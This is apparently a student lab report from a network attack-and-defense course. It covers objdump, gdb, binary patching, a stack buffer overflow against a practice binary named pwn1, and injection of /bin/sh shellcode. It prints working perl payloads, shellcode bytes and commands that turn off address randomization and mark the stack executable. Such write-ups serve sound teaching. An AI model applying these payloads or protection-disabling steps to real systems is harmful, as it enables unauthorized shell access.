20212924 2021-2022-2 《网络攻防实践》实践第11周(9次)报告
1.实践内容
Objdump
:objdump 有点像那个快速查看之类的工具,就是以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。对于一般只想让自己程序跑起来的程序员,这个命令没有更多意义,对于想进一步了解系统的程序员,应该掌握这种工具,至少你可以自己写写shellcode了,或者看看人家给的 exploit 中的 shellcode 是什么东西。linux
基础命令。pwd
命令查看用户的当前目录;cd
命令来切换目录;.
表示当前目录;..
表示当前目录的上一级目录(父目录);-
表示用 cd 命令切换目录前所在的目录;~
表示用户主目录的绝对路径名;ls
:显示文件或目录信息;mkdir
:当前目录下创建一个空目录;cp
:复制文件或目录;cat
:查看文本文件内容;echo
:把内容重定向到指定的文件中 ,有则打开,无则创建;grep
(global search regular expression)是一个强大的文本搜索工具。grep 使用正则表达式搜索文本,并把匹配的行打印出来;VI
编辑器:Visual interface
,执行输出、删除、查找、替换、块操作等众多文本操作。
Bof
原理:Linux下进程地址空间的布局, 典型的堆栈结构,栈中有return address还有局部变量,也就是函数的参数,bof攻击是利用以上参数的溢出将返回地址return address用自己构造的数据覆盖掉,从而控制程序的进程。- 调用
getshell
函数:只要把返回地址改成getshell函数的起始地址就可以,但是需要先确定局部变量的大小,然后才能将getshell的起始地址恰好放到return address的位置。
- 调用
-
GDB
全称“GNU symbolic debugger”,- 要使用GDB调试某个程序,该程序编译时必须加上编译选项
-g
, - 退出GDB:命令:
q
(quit的缩写)或者Ctr + d
退出GDB;如果GDB attach某个进程,退出GDB之前要用命令detach
解除附加进程。 run
命令:以 gdb ./filename 方式启用GDB调试只是附加了一个调试文件,并没有启动这个程序,需要输入run命令(简写为r)启动这个程序。continue
命令:当GDB触发断点或者使用 Ctrl + C 命令中断下来后,想让程序继续运行,只要输入 continue(简写为c)命令即可。-
break
命令:(简写为b)用于添加断点; info break
,也可简写为 i b,作用是显示当前所有断点信息;disable 断点编号
,禁用某个断点,使得断点不会被触发;enable 断点编号
,启用某个被禁用的断点;delete 断点编号
,删除某个断点。
- 要使用GDB调试某个程序,该程序编译时必须加上编译选项
2.实践过程
2.1 实践目标
本次实践的对象是一个名为pwn1
的linux
可执行文件。
该程序正常执行流程是:main
调用foo
函数,foo
函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell
,会返回一个可用Shell
。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode
。
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.2 实践要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
2.2 实践操作流程
2.2.1实践内容一
- 手工修改可执行文件。
- 使用
objdump
查看pwn
文件中函数的地址 - 进入
pwn1
文件目录
objdump -d pwn1 | more
- 查看
main
函数的相关部分
main
调用foo
函数分析:- 执行到
call 8048491
行时发生了调用,此时指令寄存器EIP
中存放的信息为0x080484ba
。因此有如下计算公式 - foo地址 - [EIP] = call指令后的数据
0x08048491 - 0x080484ba = 0x-29
0x-29
的补码是d7 ff ff ff
,以小端序显示- 如果要修改为调用
getShell
函数,则有如下计算公式: - getShell地址 - [EIP] = call指令后的数据
0x0804847d - 0x080484ba = 0x-3d
0x-3d
的补码是ff ff ff c3
,小端序为c3 ff ff ff
- 执行到
vi pwn1
- 使用
vi
编辑器的十六进制显示模式:%!xxd
- 找到要修改的内容:
/e8d7
- 修改
d7为c3
后:
- 将数据转换为原格式:
:%!xxd -r
- 保存退出:
:wq
- 运行经过修改后的
pwn1
程序:
- 使用
2.2.2实践内容二
-
观察一下
pwn1
的汇编代码:
-
foo
函数有漏洞:foo
函数中给输入的字符串预留了28个字节的空间 -
对
pwn1
文件汇编语言进行分析,可得:getShell
该函数预留0x38(56字节)给局部变量,预留0x1c(28字节)给“gets”
得到的字符串。
若gets
中得到的字符串长于32字节(28——0x1c + 4——EBP
),则会覆盖到EIP
位置。
只要我们构造的字符串能够溢出到EIP
所在位置,将其中的返回地址“80484ba”覆盖为getShell
函数的地址“804847d”,则程序执行完foo
函数后将返回到函数去执行。
-
使用
gdb
调试程序,查看溢出的字段对EIP
的影响。
(gdb) r
Starting program: /home/kali/Desktop/pwn/pwn1
11111111222222223333333344444444abcdefg
11111111222222223333333344444444abcdefg
Program received signal SIGSEGV, Segmentation fault.
0x64636261 in ?? () #abcd会覆盖eip地址,小端优先
- 借助
perl
语言生成一个包含getShell
函数首地址的文件,然后通过管道让文件的内容成为pwn1
的输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > output20212924 #把这一串字符存在文件中
xxd output20212924 #验证构造的字符串是否符合预期
(cat output20212924; cat) | ./pwn1 #将攻击字符串作为输入
- 构建好的字符串作为输入,实现了该字符串溢出覆盖
EIP
,达到跳转到相应地址的目的。
2.2.3实践内容三
- 下载安装
execstack
- 下载execstack-0.5.0-15.el8.src
prelink_0.0.20130503.orig.tar
复制粘贴到kali
虚拟机中sudo apt-get install libelf-dev
./configure
make
sudo make install
apt-get install execstack #安装execstack
execstack -s pwn1 #设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
- 使用
anything+retaddr+nops+shellcode
的结构。anything
为32个任意字符retaddr
为nop或shellcode
的地址nop
为系统空指令\x90
shellcode
为以/bin/sh
为基础的字符串shellcode
的十六进制汇编指令如下:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90
- 构建字符串并保存到
input_shellcode
中
perl -e 'print "A" x 32;print
"\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode #构建该字符串,但需要测试前几个字节的内容
-
确定前四位该填什么:
(cat input_shellcode;cat) | ./pwn1
-
打开另一个终端,使用命令
ps -ef | grep pwn1
找到pwn1
的进程号:
-
使用
gdb
调试该进程:
-
然后找到对应的要替换的地址:(
90909090
)ffffd13c→ffffd140
进行前四位替换:
-
替换后我们来重新运行程序:攻击成功.
perl -e 'print "A" x 32;print
"\40\d1\ff\ff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
3.学习中遇到的问题及解决
- 问题1:无法定位软件包
execstack
- 问题1解决方案:
execstack
离线安装,先下载再安装。 - 问题2:
- 问题2解决方案:
-g
选项的意义是“生成调试信息,该程序可以被调试器调试”,当编译时,未加- g
选项,则进入gdb环境中执行命令会出现No symbol table is loaded. Use the "file" command.
提示;使用gcc -g .c文件 -o 可执行文件名 进行编译,再使用gdb + 可执行文件名进入gdb环境,进行调试。
4.实践总结
- 本次实验难度大,综合能力强,需要熟悉linux基本操作,理解BOF的原理,掌握基本的汇编、机器指令、EIP、指令地址等知识,会使用gdb,vi。
- 通过修改可执行文件中的机器指令,令其由原来的foo函数改为对getshell函数的调用,学习到了使用odjdump来对一个可执行文件进行反汇编,其中印象深刻的是通过%!xxd命令在vi编辑器中以16进制的形式打开可执行文件,修改时需要按R,输入命令时先按Shift+:。
- 通过构造输入参数,造成BOF攻击,改变程序执行流的实践中,通过缓冲区溢出攻击覆盖程序返回地址从而调用函数getshell,即首先通过反汇编查看可执行文件得到程序预留的缓冲区的长度,然后构造一个过长的输入字符串,输入后通过gdb调试来看到输入字符串的哪些位置覆盖了返回地址,将其替换为getshell函数的地址即可完成对getshell函数的调用。在该实践过程中,学习到了使用gdb调试,指令info r来查看当前操作下每个寄存器的值,由于键盘无法输入16进制字符串,所以用perl将字符串保存到一个文件中再将文件输入程序。
- 了解了Linux下有两种基本构造攻击的方法:retaddr+nop+shellcode、 nop+shellcode+retaddr。